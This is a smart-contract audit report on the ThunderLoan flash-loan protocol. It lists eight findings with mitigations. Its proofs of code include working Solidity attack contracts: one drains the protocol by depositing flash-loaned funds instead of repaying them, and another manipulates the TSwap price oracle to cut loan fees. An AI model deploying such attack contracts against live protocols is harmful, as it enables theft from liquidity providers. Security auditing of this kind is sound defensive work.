ThunderLoan Protocol Audit Report

Version 1.0

Reina Baz

January 15, 2025

ThunderLoan Protocol Audit Report

Reina Baz

January 15, 2025

Prepared by: Reina Baz

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

The Reina Baz team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Scope

- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	3
Total	8

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes the protocol to think it has more fees than it actually does, which blocks redemptions and incorrectly sets the exchange rate.

Description In the Thunderloan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees!

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token]; // e - represents the shares of the pools
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit-high we shouldn't be updating the exchange rate here!
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concepts

1. LP deposits.
2. Users take out a flash loan.
3. It is now impossible to redeem.

Proof of Code

place the following in the `ThunderLoanTest.t.sol`:

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended mitigation Remove the incorrectly updated exchange rate lines from `deposit`:

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token]; // e -
           represents the shares of the pools
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit-high we shouldn't be updating the exchange rate here!
-        uint256 calculatedFee = getCalculatedFee(token, amount);
-        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
           ;
    }
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description The `ThunderLoan` contract contains a critical flaw in its handling of the `deposit` and `repay` functions. Specifically, there is no validation to ensure that a loan is repaid only through the `repay` function. An attacker can exploit this by calling `deposit` with the borrowed funds from a flash loan. This tricks the contract into believing the loan has been repaid, thereby bypassing loan repayment requirements. The attacker can then withdraw their "deposited" balance, draining the protocol's funds.

Impact This vulnerability allows attackers to exploit the protocol and steal all funds held in it. By calling `ThunderLoan::deposit` instead of `repay`, they can inflate their balance without actually repaying the flash loan. This results in a complete loss of funds for the protocol and its users.

Proof of Concepts

1. Assume the attacker borrows amount tokens through a flash loan. Flash loan provider sends amount to the attacker.
2. The attacker calls `ThunderLoan::deposit` function, using the borrowed tokens as the deposit.

3. The `deposit` function increases the attacker's balance without verifying that it corresponds to a loan repayment.
4. The attacker calls `ThunderLoan::withdraw` to redeem the "deposited" balance.
5. The attacker keeps the protocol's funds while using part of them to repay the flash loan.
6. The protocol is drained of its funds, and the attacker profits at the expense of legitimate users.

Proof of Code

Place the following in `ThunderLoanTest.t.sol`:

```

function testUseDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits{
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            ));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
            ;
        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }
}

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(
        address _thunderLoan
    ) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    ) external returns (bool) {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
```

```
            thunderLoan.deposit(IERC20(token), amount + fee);
            return true;
        }

        function redeemMoney() public {
            uint256 amount = assetToken.balanceOf(address(this));
            thunderLoan.redeem(s_token, amount);
        }
    }
```

Recommended mitigation To prevent this exploit, implement the following changes:

1. Separate Logic for Deposits and Repayments: Ensure that deposit and repay are distinct functions and cannot be used interchangeably.
2. Flash Loan Guard: Add checks to ensure that external funds coming in (like from a flash loan) are used solely for repayment and not for inflating the deposit balance.

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol.

Description `ThunderLoan.sol` has two variables in the following order:

```
        uint256 private s_feePrecision;
        uint256 private s_flashLoanFee;  // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in different order:

```
        uint256 private s_flashLoanFee; // 0.3% ETH fee
        uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables breaks the storage locations as well.

Impact After the upgrade, `the s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

Proof of Concepts

Proof Of Code

Insert the following test in `ThunderLoanTest.t.sol`:

```
import {ThunderLoanUpgraded} from "src/upgradedProtocol/ThunderLoanUpgraded.sol";
.
.
.
function testUpgradeBreaks() public{
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("fee before upgrade: ", feeBeforeUpgrade);
        console.log("fee after upgrade: ", feeAfterUpgrade);
        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect Thunderloan storage` and `forge inspect thunderLoanUpgraded storage`.

Recommended mitigation If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank; // 0.3% ETH fee
+    uint256 private s_flashLoanFee; // 0.3% ETH fee
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token

[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks, leads to users getting much cheaper fees than expected.

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
   1. User sells 1000 `tokenA`, tanking the price.
   2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
      1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
 function getPriceInWeth(address token) public view returns (uint256) {
  address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
 }
```

2. The user then repays the first flash loan, and then repays the second flash loan.

Proof of Code

Include the follow test and contract in `ThunderLoanTest.t.sol`:

```
function testOracleManipulation() public {
        // 1. set up contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");

        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        pf.createPool(address(tokenA));

        address tswapPool = pf.getPool(address(tokenA));

        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(
            100e18,
            100e18,
            100e18,
            block.timestamp
        );
        vm.stopPrank();
        // Price: 100 WETH & 100 tokenA
        // Ratio: 1:1

        // 3. Fund thunderLoan
        // Set allow token
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        // Fund
        // Add liquidity to ThunderLoan
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();

        // 100 WETH & 100 tokenA in TSwap
        // 1000 tokenA in thunderLoan
        // Take out a flash loan of 50 tokenA
        // Swap it on dex, tanking the price> 150 tokenA -> ~80 WETH
        // Take out ANOTHER flash loan of 50 tokenA (and we'll see how
            much cheaper it is)

        // 4. Take out 2 flash loans
        //       a. Nuke the price of the WETH/token on Tswap
        //       b. To show that doing so, reduces the fees we pay on
            thunderLoan
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
            100e18);
        console.log(" Normal fee cost: ", normalFeeCost);
        // 0.296147410319118389

        uint256 amountToBorrow = 50e18; // we gonna do this twice
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
            (
            address(tswapPool),
            address(thunderLoan),
            address(thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
            ;
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console.log("attack fee: ", attackFee);
    }
}

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(
        address _tswapPool,
        address _thunderLoan,
        address _repayAddress
    ) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    ) external returns (bool) {
        if (!attacked) {
            // 1. Swap TokenA borrowed for WETH
            // 2. Take out ANOTHER flash loan, to show the difference
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(
                50e18,
                100e18,
                100e18
            );
            IERC20(token).approve(address(tswapPool), 50e18);
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(
                50e18,
                wethBought,
                block.timestamp
            );
            // We call another flashloan
            thunderLoan.flashloan(address(this), IERC20(token), 50e18, "");
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            // calculate the fee and repay
            feeTwo = fee;
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);

        }
        return true;
    }
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal
    onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer
     {

138:     function initialize(address tswapAddress) external initializer
     {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+     event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```